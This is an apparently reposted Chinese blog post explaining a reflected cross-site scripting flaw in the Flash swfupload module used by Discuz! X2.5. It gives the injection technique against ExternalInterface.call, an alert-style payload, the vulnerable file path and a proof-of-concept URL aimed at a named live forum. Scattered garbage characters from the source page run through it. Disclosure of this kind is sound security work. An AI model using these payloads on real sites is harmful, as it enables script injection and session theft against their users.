Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

  j" s: q$ v- A& j% `) `8 Pflash.external.ExternalInterface.call($methodName, $parameter)
8 k+ j5 i3 I) t8 Q) p; `! O: y9 i在浏览器中执行的是

4 F; `! o; t6 L9 V* M+ x; Rtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 [: |0 f8 j! L# M6 w9 h对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

  ]3 E* O' b/ k8 r/ p: xflash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
) U8 |: ?: Z  P% r; Z
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' g/ P, x) R/ b2 z7 R4 ^# d  w. r
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。
% }( }) X. W+ \/ X- C1 y0 e: Q6 i$ Y
9 [3 A& l" F. J

0 Q# U* `$ {: L: U* d1 T漏洞文件：upload\static\image\common\swfupload.swf

: t# t" o- P) I原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf

& ~) ~( [" F: C% f; f
漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//


6 l" R, W- a, O, M